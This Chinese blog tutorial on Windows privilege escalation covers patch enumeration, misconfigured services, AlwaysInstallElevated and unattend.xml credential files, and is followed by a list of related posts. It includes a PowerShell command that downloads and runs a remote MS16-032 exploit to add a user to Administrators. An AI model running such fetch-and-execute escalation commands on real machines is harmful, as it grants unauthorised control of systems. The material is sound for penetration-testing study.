Windows的四种权限:

  • User:普通用户权限,是系统中最安全的权限

  • Administrator:管理员权限

  • System:系统权限

  • TrustedInstaller:Windows中的最高权限。对于系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才能修改系统文件

提权类别:

  • 纵向提权:低权限角色获得高权限角色的权限

  • 横向提权:获取同级别角色的权限

可能会用到的Windows命令:

net user  #列出该计算机上的用户net user   #列出指定用户所在用户组systeminfo  #获取系统信息wmic qfe get Caption,Description,HotFixID,InstalledOn  #列出以安装的补丁query user  #列出在线用户REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口tasklist /svc | find "TermService" + netstat -ano    #获取远程端口

提权方式

1、手动发现缺失的补丁

systeminfo 或wmic qfe get Caption,Description,HotFixID,InstalledOn

寻找能够提权的EXP,将已安装的补丁编号与提权的EXP进行比较,然后使用没有安装的补丁的EXP进行提权,这里使用的是MS16-032 ——[KB3143141]

在cmd命令行中输入如下命令:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup administrators test /add'"

当前用户为test属于Users组:

执行命令后将test用户添加到了Administrators组中:

2、利用Metasploit发现缺失补丁

使用Metasploit的post/windows/gather/enum_patches模块,根据系统编号快速找出系统中缺失的补丁,如图所示:

3、使用Windows Exploit Suggester工具

下载地址:

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可识别导致提权的漏洞,需要目标系统信息,使用systeminfo获取:

systeminfo > patches.txt

执行如下命令,从微软官方自动下载安全公告数据库:

./windows-exploit-suggester.py --update

下载的文件会在当前目录下以Excel表格的形式保存,需要安装xlrd模块来读取excel表格

pip install xlrd --upgrade

检查系统中是否存在未修补的漏洞:

./windows-exploit-suggester.py -d 2020-06-26-mssb.xls -i patches.txt

4、利用系统给服务权限配置错误

可参考:https://422926799.github.io/posts/34b370c6.html

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限

系统服务权限配置错误有如下两种情况:

  • 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务

  • 服务正在运行且无法终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权

使用metasploit的exploit/windows/local/service_permissions 模块

5、注册表键AlwaysInstallElevated

注册表键AlwaysInstallElevated是一个策略设置项。Windows允许低权限用户以System权限运行安装。如果启用了此策略设置项,那么任何权限的用户都能以

NT AUTHORITY/SYSTEM 权限来安装恶意的MSI文件

该漏洞产生的原因是用户开启了Windows Installer特权安装功能

在cmd命令行中输入 "gpedit.msc"  打开组策略编辑器

  • 组策略—>计算机配置—>管理模块—>Windows组件—>Windows Installer—>永远以高特权进行安装:选择启用

  • 组策略—>用户配置—>管理模块—>Windows组件—>Windows Installer—>永远以高特权进行安装:选择启用

设置完毕会在注册表以下两个位置自动创建键值"1":

  • HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

  • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

Windows Installer 通过Msiexec.exe安装MSI文件包含的程序。Msiexec.exe 用于安装MSI文件,双击MSI文件就会运行Msiexec.exe

使用 Metasploit 的 exploit/windows/local/always_install_elevated 模块

6、自动安装配置文件

网络管理员在内网中给多台机器配置同一环境时,通常不会逐台配置,而会使用脚本批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含了所有的安装配置信息,可能还包含本地管理员账号密码等信息,如下:

C:\sysprep.infC:\sysprep\sysprep.xmlC:\Windows\system32\sysprep.infC:\Windows\system32\Sysprep\sysprep.xmlC:\unattend.xmlC:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattended.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\system32\Sysprep\unattend.xmlC:\Windows\system32\Sysprep\Panther\unattend.xml

可执行如下命令搜索 unattend.xml 文件:

dir /b /s c:\unattend.xml

查看这样的文件是否存在管理员明文密码或经过Base64加密的密码

7、补充

使用如下命令查看计划任务:

schtasks /query /fo LIST /v

使用微软提供的工具AccessChk可列出权限配置有缺陷的文件在SysInterals套件中

下载地址:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk

执行如下命令,查看指定目录权限配置情况

accesschk.exe -dqv "C:\Windows" -accepteula

列出某驱动器下所有权限配置有缺陷的文件夹:

accesschk.exe -uwdqsv Users c:\*accesschk.exe -uwdqs "Authenticated Users" c:\*

列出某驱动器下所有权限配置有缺陷的文件:

accesschk.exe -uwdqsv Users c:\*.*accesschk.exe -uwdqs "Authenticated Users" c:\*.*

windows c++ 服务 当前用户提权_关于Windows下的提权方式(上)相关推荐

  1. 音频服务器没运行,windows音频服务未运行没声音无法启动windows audio服务

    windows音频服务未运行没声音无法启动windows audio服务 发布时间:2014-06-17 11:18:31   作者:佚名   我要评论 电脑出现了音频服务未运行,而且没声音.提示wi ...

  2. 护卫神mysql提权_护卫神主机大师提权漏洞利用分析

    *本文原创作者:Freedom,本文属FreeBuf原创奖励计划,未经许可禁止转载 0x01 前言 护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+My ...

  3. windows c++ 服务 当前用户提权_windows xp 提权

    本地提权 要求:以实现本地低权限账号登录,至少获得一个命令行的shell. 当前几乎所有的系统都是多用户账号,这些账号可以是系统自带的账号,也可以是系统为某些应用程序设置的账号,让该应用程序就以该账号 ...

  4. mysql udf提权_三分钟解析postgresql提权

    本头条号所分享文章仅供学习交流,请勿非法使用! 近期遇到一些关于提权的问题,和大家分享一下~ 创建环境 介绍 docker中有一个COPY命令: COPY 在 PostgreSQL表和标准文件系统文件 ...

  5. webshell提权教程linux,Linux下WEBSHELL提权

    用phpshell2.0和Linux Kernel2.6x 本地溢出代码配合提ROOT,现在不少LINUX主机都还有这个本地溢出漏洞. 前提:1.目标机上安装了GCC能编译源码 2.Kernel 2. ...

  6. windows副本不是正版怎么解决_解决Windows沙盒怎么联网问题

    windows 沙盒简单来讲就是一款沙盒虚拟化的Windows系统,而最近还蛮多小伙伴来问小编说,Windows沙盒能够联网吗?Windows沙盒怎么联网?针对这个问题,接下来小编就来和大家好好的说说 ...

  7. api postmain 鉴权_认证鉴权与API权限控制在微服务架构中的设计与实现(一)

    引言: 本文系<认证鉴权与API权限控制在微服务架构中的设计与实现>系列的第一篇,本系列预计四篇文章讲解微服务下的认证鉴权与API权限控制的实现. 1. 背景 最近在做权限相关服务的开发, ...

  8. windows更改服务名称_如何在Windows 10的登录屏幕上更改名称

    windows更改服务名称 Whenever you sign in to Windows 10, your full name appears above the password entry. Y ...

  9. 无法访问windows安装服务_win7系统提示无法访问windows安装服务如何解决【解决方法】...

    有很多电脑用户经常会碰到软件无法安装的情况,最近有位win7系统用户在安装某个软件的时候,系统提示:无法访问windows installer服务,用户不知道怎么解决这个问题,为此非常苦恼,那么win ...

  10. win10运行无线服务器,win10系统无线不能用没有运行windows无线服务的解决方法

    win10系统想必大家都非常熟悉吧,然而有时候可能会碰到win10系统无线不能用没有运行windows无线服务的问题,比如近日有用户到本站反映说win10系统无线不能用没有运行windows无线服务的 ...

最新文章

  1. PM2管理node.js
  2. vba excel 开发游戏_为什么要学习VBA?
  3. 编写 Debugging Tools for Windows 扩展,第 1 部分 (windbg 插件 扩展)
  4. Excel 中使用SQL 语句查询数据(七)-----用LIKE 运算符进行模糊匹配查询
  5. 拼接字符串的优雅方式
  6. 13 个超炫的 Conky 配置
  7. 程序员该如何利用“有状态的服务”升级打怪?
  8. 异常处理-try catch
  9. android fastboot 最新版,Android fastboot USB 驱动下载2012最新版_支持所有HTC Android平台...
  10. MySQL几点重要的性能指标计算和优化
  11. 联想G480安装CentOS有线驱动
  12. 关于传递函数的频率响应和低通滤波器
  13. MySql 查询比其中某一位讲师工资少的教师姓名、工资和职称
  14. 用jQuery制作对联广告
  15. 敏捷培训: 如何使培训产生共鸣?
  16. ipad/iphone内存管理三之NoAutorelease和Autorelease详细解说
  17. Mysql经典面试题(建议收藏)
  18. 计算机视觉之姿态识别(原理+代码实操)
  19. 实际参数与形式参数的区别
  20. 计算机显示丢失d3dcompiler,无法启动此程序提示缺少d3dcompiler文件怎么解决

热门文章

  1. SLAM_SLAM问题求解框架
  2. 1036 跟奥巴马一起编程
  3. cartographer探秘第二章之论文解析
  4. CHKJ3000E错误解决
  5. 基于TensorRT量化部署RepVGG模型
  6. 【Linux基础】在 Linux 上安装软件的 3 种方法
  7. jquery mobile页面跳转后js不执行的问题
  8. HTML5 目前无法实现的5件事
  9. Jquery截取中文字符串
  10. [导入]关于“啸聚一庐--txna”